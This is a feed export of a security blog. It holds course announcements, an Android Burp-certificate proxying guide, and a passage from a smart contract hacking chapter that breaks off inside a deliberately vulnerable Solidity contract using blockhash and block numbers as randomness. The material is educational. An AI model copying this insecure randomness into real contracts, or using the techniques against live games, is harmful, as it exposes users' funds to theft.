tag:blogger.com,1999:blog-59487680012559726212024-03-29T04:02:47.020-07:00consolecowboyssomeLuserhttp://www.blogger.com/profile/16124941373996159409noreply@blogger.comBlogger60125tag:blogger.com,1999:blog-5948768001255972621.post-55727739082360538042024-01-22T11:03:00.000-08:002024-01-22T11:06:42.059-08:00Learning Binary Ninja For Reverse Engineering and Scripting<p> Recently added a new playlist with about 1.5 hours of Binary Ninja Content so far.. </p><p>Video 1: I put this out a couple months ago covering use cases and reversing flows as well as some basic scripting.. </p><p><br /></p><p>Videos 2+3 in the playlist start getting specifically into scripting for reversing automation.. Enjoy.. </p><p><br /></p><p>@Ficti0n on twitter.. </p><p><br /></p><h1 style="text-align: left;">Video 1 UI Workflows and Scripting:</h1><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="476" src="https://www.youtube.com/embed/tCcLhsTdFEw" width="572" youtube-src-id="tCcLhsTdFEw"></iframe></div><div><br /></div><div><br /></div><h1 style="text-align: left;">Video 2: Scripting Part1 </h1><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="479" src="https://www.youtube.com/embed/RVyZBqjLrE0" width="577" youtube-src-id="RVyZBqjLrE0"></iframe></div><br /><h1 style="text-align: left;">Video 3: Scripting Part 2</h1><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="478" src="https://www.youtube.com/embed/gLggUUy0-iI" width="576" youtube-src-id="gLggUUy0-iI"></iframe></div><br /><p><br /></p>Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-49558381769964543582023-12-27T13:18:00.000-08:002023-12-27T13:18:32.255-08:00Real World Social Engineering - Turning life into a Penetration Test or one Hell of an Adventure In this video you will learn all the things they never told on how to become a badass social engineer.. Instead of wasting time learning sneaky tactics to "Engineer" the outcome.. We focus on the part which is always left out when teaching social engineering.. the "Social" part.. <div><br /></div><div>With the social part working correctly, the engineering part becomes seamless and easy to pull off without feeling forced. </div><div><br /></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="419" src="https://www.youtube.com/embed/CldNso156QY" width="504" youtube-src-id="CldNso156QY"></iframe></div><br /><div><br /></div>Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-74721878716010621932023-03-27T09:00:00.002-07:002023-03-27T09:00:44.289-07:00New Consulting Series Financial Statement Workshop<p> I added a new video to the consulting series playlist today... This is for creating and managing your personal financial statements, your budgeting of income/expenses from various sources and how to allocate those automatically to investments to build and track over time.... </p><p>If you learn something.. Like and leave a comment... Cheers... </p><p><br /></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="441" src="https://www.youtube.com/embed/bY39ccHBhR0" width="531" youtube-src-id="bY39ccHBhR0"></iframe></div><br /><p><br /></p>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-85873191114637297382023-03-21T17:46:00.000-07:002023-03-21T17:46:01.585-07:00Web3 Smart Contract and Blockchain Hacking with Python Free Course Section 1<p><span style="color: #93c47d;"> Below is the full playlist and the outline for Section 1 the Web3 Hacking in Python course.. This is the most in-depth python based web3 material I have seen anywhere online. </span></p><p><span style="color: #93c47d;">Section 1 is the foundational section of the course using python for web3 that covers the following topics and also assumes that you have already taken my smart contract hacking course from 2020. </span></p><p><span style="color: #93c47d;"><br /></span></p><h1 style="text-align: left;"><span style="color: #93c47d;">Smart Contract and Blockchain Web3 Hacking in Python: </span></h1><h2 style="text-align: left;"><span style="color: #93c47d;">Section 1: </span></h2><h3 style="text-align: left;"><span style="color: #93c47d;">Smart Contract Interactions: </span></h3><p><span style="color: #93c47d;">1. Simple Smart Contract Interactions</span></p><p><span style="color: #93c47d;">2. ERC20 Token Interactions</span></p><p><span style="color: #93c47d;">3. Wallet Interactions</span></p><p><span style="color: #93c47d;">4. Manual ByteCode Reversing</span></p><p><span style="color: #93c47d;">5. ByteCode Function BruteForce Automation</span></p><p><span style="color: #93c47d;">6. Automated Reversing and Disassembly</span></p><p><span style="color: #93c47d;">7. Transaction Signing</span></p><p><span style="color: #93c47d;">8. In Depth Manual Smart Contract Interactions</span></p><p><span style="color: #93c47d;">9. Asynchronous programming to monitor Contract Events</span></p><p><span style="color: #93c47d;"><br /></span></p><h3 style="text-align: left;"><span style="color: #93c47d;">Homework Assignments</span></h3><p><span style="color: #93c47d;">1. Uniswap Pair nested Contract Interactions</span></p><p><span style="color: #93c47d;">2. Attacking Smart Contract Pathways Manually with python</span></p><p><span style="color: #93c47d;">3. Analyze Bytecode and Determine what it Interactions</span></p><p><span style="color: #93c47d;"><br /></span></p><h3 style="text-align: left;"><span style="color: #93c47d;">Network Interactions: </span></h3><p><span style="color: #93c47d;">1. Blocks and transaction Filtering and Monitoring</span></p><p><span style="color: #93c47d;">2. Pending Transaction Subscriptions And Network Monitoring</span></p><p><span style="color: #93c47d;">3. Monitoring Smart Contract Mempool Transactions (Uniswap Routers)</span></p><p><span style="color: #93c47d;"><br /></span></p><h2 style="text-align: left;"><span style="color: #93c47d;">Playlist: </span></h2><p><a href="https://www.youtube.com/watch?v=UBK2BoFv6Lo&list=PLCwnLq3tOElrubfUWHa1qKrJv1apO8Aag&index=1"><span style="color: #93c47d;">https://www.youtube.com/watch?v=UBK2BoFv6Lo&list=PLCwnLq3tOElrubfUWHa1qKrJv1apO8Aag&index=1</span></a></p>
Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-52743634516918299182023-02-23T15:39:00.001-08:002023-02-23T15:39:18.407-08:00Blockchain Decentralized Application Hacking Course Part 2 - A Continuation into Smart Contract Hacking and DApp Penetration Testing (Web 3) With Python<h1 style="text-align: center;"><span style="color: #93c47d;">New Course Announcement: <br />Python Based Blockchain Hacking, Smart Contract exploitation and Automation</span></h1><p style="text-align: center;"><br /></p><h4><span style="color: #93c47d;">Twitter: https://twitter.com/ficti0n<br /></span><span style="color: #93c47d;">Website: http://cclabs.io</span></h4><p style="text-align: left;"><span style="color: #93c47d;">This is the course announcement for part 2 of our smart contract hacking journey, this time we are going to pick up where we left off leveraging frameworks, automation, other tools.. Starting out learning all the ways to interact with things programmatically with python... Then automate it, attack it, and get into all kinds of other things you have not seen before... </span></p><p style="text-align: left;"><span style="color: #93c47d;">Note: This is NOT a re-hash of old material, NOR is it an update of the previous course.. This is all new material and the old course stands on its own as a Pre-Requisite to this course.. Also requiring knowledge of basic python scripting to follow along... </span></p><h3 style="text-align: left;"><span style="color: #93c47d;">This course has 3 sections:</span></h3><h3 style="text-align: left;"><ol style="text-align: left;"><li><span style="color: #93c47d;">Web3.py in depth, Manual attacks and interactions</span></li><li><span style="color: #93c47d;">Automation, Frameworks, Fun things and Automated Attacks</span></li><li><span style="color: #93c47d;">Forensics and DEFI Attacks, Blockchain IDS and information gathering</span></li></ol></h3><div style="text-align: left;"><span style="color: #93c47d;"><br /></span></div><h3 style="text-align: left;"><span style="color: #93c47d;">Here is the Course intro Overview Outline: </span></h3><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="390" src="https://www.youtube.com/embed/UBK2BoFv6Lo" width="469" youtube-src-id="UBK2BoFv6Lo"></iframe></div><br /><h3 style="text-align: left;"><span style="color: #93c47d;">Here is the Overview of Section 1 which is in depth Web3.py basics: </span></h3><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="394" src="https://www.youtube.com/embed/jdvQYXLalsM" width="474" youtube-src-id="jdvQYXLalsM"></iframe></div><br /><p style="text-align: left;"><span style="color: #93c47d;"><br /></span></p><p style="text-align: left;"><span style="color: #93c47d;"><br /></span></p><h3 style="text-align: left;"><span style="color: #93c47d;">Other Videos to follow... </span></h3><h3 style="text-align: left;"><span style="color: #93c47d;">To keep up to date follow the following playlist and follow on twitter: </span></h3><h3 style="text-align: left;"><a href="https://www.youtube.com/playlist?list=PLCwnLq3tOElrubfUWHa1qKrJv1apO8Aag" target="_blank"><span style="color: #93c47d;">https://www.youtube.com/playlist?list=PLCwnLq3tOElrubfUWHa1qKrJv1apO8Aag</span></a></h3>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-74341006727013356372022-08-23T19:58:00.006-07:002022-08-24T07:23:18.398-07:00Blockchain Forensics R&D with Python - Tracking Attackers, Etherscan API Usage, Python Coding, Signature Lookups and Decompiling bytecode<p> Added a new playlist over the last few weeks, its up to about 8 videos now which starts out writing code to monitor attackers address changes on the blockchain followed by using EtherScan API's to track some movements and make sense of things with a few other learning points along the way... </p><p>There is one pre-requisite video however which is where this series came from which is another video I created where we took apart a smart contract from a YouTube scam to find the attackers malicious code, so review that first below: </p><h3 style="text-align: left;">Twitter: <a href="https://twitter.com/ficti0n" target="_blank">@ficti0n<br /></a>Web: <a href="http://cclabs.io/">http://cclabs.io/</a></h3><p><br /></p><h2 style="text-align: left;"><span style="color: #6aa84f;">If you learn something from this blog/video consider sharing it on your social media or retweeting my posts.</span></h2><p><br /></p><h1 style="text-align: left;">Here is the Pre-Requisite Video to this series Which does a smart contract audit of a malicious front running bot: </h1><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="395" src="https://www.youtube.com/embed/ompORRexqxU" width="475" youtube-src-id="ompORRexqxU"></iframe></div><br /><p><br /></p><h1 style="text-align: left;">Here is the new playlist series which digs into tracking this attacker: </h1><div><br /></div><h2 style="text-align: left;">Link to full Playlist since blogger is not letting me embed the playlist: <br /><a href="https://www.youtube.com/playlist?list=PLCwnLq3tOElrUdIg4LgdhPhCKAiy7NZYA">https://www.youtube.com/playlist?list=PLCwnLq3tOElrUdIg4LgdhPhCKAiy7NZYA</a></h2><div><br /></div><div><br /></div><div><br /></div><h2 style="text-align: left;">Intro to the playlist: </h2><p></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="403" src="https://www.youtube.com/embed/LI4PrsqzORE" width="484" youtube-src-id="LI4PrsqzORE"></iframe></div><br /> <p></p>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-51203258348711857072021-03-24T07:12:00.006-07:002021-03-24T09:59:31.744-07:00Proxying Newer Versions of Android with Genymotion<p> I did a quick video last night for someone on proxying the newer version of Android SDK with Genymotion as the changes back in version 7 make it a bit more difficult to proxy https traffic and I get a lot of questions on a regular basis even years later... </p><p>Hopefully this video helps anyone else out that may be running into the same troubles.. This is proxying the latest version of android as of this writing which is version 10 but should work just fine on newer versions unless there is a major change in the future again that specifically restricts this method.. </p><p><br /></p><h3 style="text-align: left;">Mobile Hacking - Proxying Newer Versions of Android with Burp and Genymotion:</h3><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/_O_-JQUehEY" width="320" youtube-src-id="_O_-JQUehEY"></iframe></div><br /><p><br /></p><p><br /></p><h3 style="text-align: left;">You can follow along with the video but additionally for reference below are the commands used: </h3><div><br /></div><div><br /></div><h3 style="text-align: left;">Step 1: Create a Burp Cert for Android</h3><p> 1. Export the certificate from burp to .DER format via the proxy tab import/export</p><p> 2. Change the format from der to pem: </p><p> openssl x509 -inform DER -in cacert.der -out cacert.pem</p><p><br /></p><p> 3. Pull the hash of the certificate subject name and rename the cert to the hah.0 format: </p><p> openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1</p><p> mv cacert.pem <hash>.0</p><p><br /></p><h3 style="text-align: left;">Step 2: Create a new Emulator: </h3><p> 1. Create a version 10 Galaxy x10 with bridge mode networking (or whatever newest version required)</p><p> 2. Click 3 dots under my installed devices in genymotion --> Edit --> Change to bridged mode</p><p><br /></p><h3 style="text-align: left;">Step 3: Setup certificate on device</h3><p> 1. Check devices and push the certificate to the SD card: </p><p> adb devices</p><p> adb push <hash.0> /sdcard/</p><p><br /></p><p> 2. Connect to the device and install the cert with proper permissions: </p><p> adb remount</p><p> adb shell</p><p> mv /sdcard/<hash.0> /system/etc/security/cacerts/</p><p> chmod 644 /system/etc/security/cacerts/<hash.0></p><p><br /></p><p> 3. Reboot the device: </p><p> reboot</p><p><br /></p><h3 style="text-align: left;">Step 4: Verify and setup the proxy: </h3><p> 1. Settings --> search for Trusted --> Scroll down till you see portswigger</p><p> 2. Setup your Burp proxy to the correct IP/Port combo of your external interface IP</p><p> 3. In Genymotion click Settings --> wifi --> Gear -> Pencil Icon -> Add in Proxy info under advanced</p><p> 4. Go forth and proxy things</p>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-20478816504228778902020-10-18T21:28:00.005-07:002022-08-23T20:48:02.700-07:00Smart Contract Hacking Final Free Chapter - Hacking Games Via Bad Randomness Implementations on the Blockchain<p>This is our final free chapter in this smart contract hacking series, hopefully you enjoyed it, I am not sure what I am going to work on next, perhaps some malware analysis, reverse engineering or maybe some hacking in the cloud. </p><p>We are currently in 4th quarter and slammed with work so I wouldn't expect any more posts or the full blockchain release till after that eases up.</p><p>If you have any questions or comments you can hit us up at: </p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p><a href="https://twitter.com/ficti0n" target="_blank"><span style="color: #6fa8dc;">@ficti0n</span></a></p><p><a href="http://cclabs.io" target="_blank"><span style="color: #6fa8dc;">http://cclabs.io </span></a></p></blockquote><h2><br /></h2><h2><a name="_Toc47892548">Cryptographic Implementations and Predictable PRNGs</a><o:p></o:p></h2>
<p class="MsoNormal">Within operations that require random values we generally
need a form of randomness coupled with our algorithm. If we do not have
sufficient randomness and large character sets, we would end up with
cryptographic collisions or predictable values depending what we are doing. This
Is often the case in video game operations and data security encryption
schemes. For example, we do not want to create random values which are
predictable and repeatable based on known values or controllable values. With
controllable values an attacker could duplicate the value by reverse
engineering how it was originally created and what that random seed is. Also,
If the value is predictable within a game, we may be able to cheat the game by
creating our own valid values that exploit the perceived randomness. <o:p></o:p></p>
<p class="MsoNormal">Now we are not going to deep dive into cracking cryptography
or brute forcing hash values. First off it takes too much time and effort. Secondly
because there are easier more efficient ways of tackling cryptographic issues. Lastly,
we do not have time for rabbit holes in a week-long penetration test that require
us to explore many other attack vectors. Wasting a whole week on cracking a
single cryptographic issue would be a terrible and inefficient penetration test
leaving the rest of the target vulnerable. This may be suitable for R&D or
a CTF but not for a penetration test. <o:p></o:p></p>
<p class="MsoNormal">What you need to understand is that certain functions often
used as randomness on the blockchain is not suitable as a source of randomness.
Additionally, understanding how things are implemented will get you much
farther when it comes to cryptography then attacking it directly. You do not
need to break NSA level encryption by attacking it directly. Instead you should
concentrate on finding insecure implementations of these algorithms to get what
you need. <o:p></o:p></p>
<p class="MsoNormal">Oracle padding attacks are a great example of this if you
were in the hacking community back in the late 2000s. The padding attack relied
on error messages based on padding within blocks to determine a way to decrypt
them. This was a brilliant attack vector as you didn’t need to understand deep cryptographic
concepts to decrypt data blocks only how blocks work and how it was implemented.
With this knowledge you could leverage
the flawed implementation to get the decrypted values. <o:p></o:p></p>
<p class="MsoNormal">On the blockchain there are a number of insecure functionality
that developers like to use when implementing random values. Most of these are
very bad ideas for reasons we will discuss below. <o:p></o:p></p>
<p class="MsoNormal">For Example, the following non-exhaustive but often used list
of values are not suitable for randomness within sensitive operations. Usage of
these types of values for any sort of calculation is always suspect for closer
review: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p class="MsoListParagraphCxSpFirst" style="text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Secret keys in private variables</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l4 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpMiddle" style="mso-list: l4 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Block Timestamps</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l4 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Block Numbers</p><p class="MsoListParagraphCxSpLast" style="mso-list: l4 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Block Hash values </p></blockquote><p class="MsoListParagraphCxSpMiddle" style="mso-list: l4 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l4 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l4 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal">Why you ask? Well regardless of the data being set as
private on the blockchain a private variable storage value is 100% readable on
the blockchain. There are no secret values. These can be queried as you saw in
the storage issues chapter. Also embedding hard coded values are certainly not
private as they are in the source code which may be posted directly on the
blockchain. Or could be reverse engineered out of the bytecode used to deploy
the contract when the source code is not available. If you can get a hold of
that value, then you can violate the security of that functionality. <o:p></o:p></p>
<p class="MsoNormal">Secondly do not rely on predictable values for randomness
especially from block data sources. Block timestamps are controlled by miners
which can aid in orchestrated attacks when used as a source of randomness. Also
block numbers are easy to query and create predictable attacks when used in calculations,
if internal functions are using a block number, they are all using the same
PRNG. Finally, block hash values are terrible to use for randomness as only the
last 256 block hash values on chain actually have a real value. Anything older than
256 is reduced to 0 meaning that every calculation will use the same value of
0. We will cover that in some of our examples. <o:p></o:p></p>
<p class="MsoNormal">This is not an exhaustive list but instead just a small
portion of bad decisions for random values. There are plenty of other values
which could be used within calculations as a random seed which are also
predictable. It is always important to review the data used in these
calculations when reviewing smart contract functionality. So, without the need
of a PHD in cryptography you should easily discern that all of the above
implementation examples are terrible for the inclusion of random data within cryptographic
operations. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892549">Simple BlockHash Example</a><o:p></o:p></h2>
<p class="MsoNormal">Let’s start out taking a look at a simple example of using a
blockhash value with a blocknumber value. While a hash of a block might seem
like a good idea as a random number there are numerous issues with it. Firstly,
a blocknumber is a known value set by a miner that persists for a set length of
time and can be queried and used in an attacker’s similar algorithm to produce
the same result and bypass controls. But there is also an underlying vulnerability
to this approach when coupled with a blockchash which we will take a look at
below. <o:p></o:p></p>
<p class="MsoNormal">Action Steps: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l1 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Open up your terminal and launch ganache-cli </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Type out the code below into Remix </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Within the Deploy Environment section dropdown
change the JavaScript VM to the web3 Provider option. </p><p class="MsoListParagraphCxSpLast" style="mso-list: l1 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Deploy the contract to ganache with the deploy
button in Remix</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l1 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l1 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> contract simpleVulnerableBlockHash {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> uint32 </span><span style="color: #e28964;">public</span><span style="color: white;"> block_number;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> bytes32 </span><span style="color: #e28964;">public</span><span style="color: white;"> myHash;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> get_block_number() </span><span style="color: #e28964;">public</span><span style="color: white;"> { <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">8.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> block_number = uint32(block.number);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">9.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">10.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">11.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> set_hash() </span><span style="color: #e28964;">public</span><span style="color: white;">{<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">12.</span><!--[endif]--><span style="color: white;"> myHash = bytes32(blockhash(block_number));<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">13.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">14.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">15.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> wasteTime() </span><span style="color: #e28964;">public</span><span style="color: white;">{<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">16.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">uint</span><span style="color: white;"> test = </span><span style="color: #e28964;">uint</span><span style="color: white;">(block.number);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: 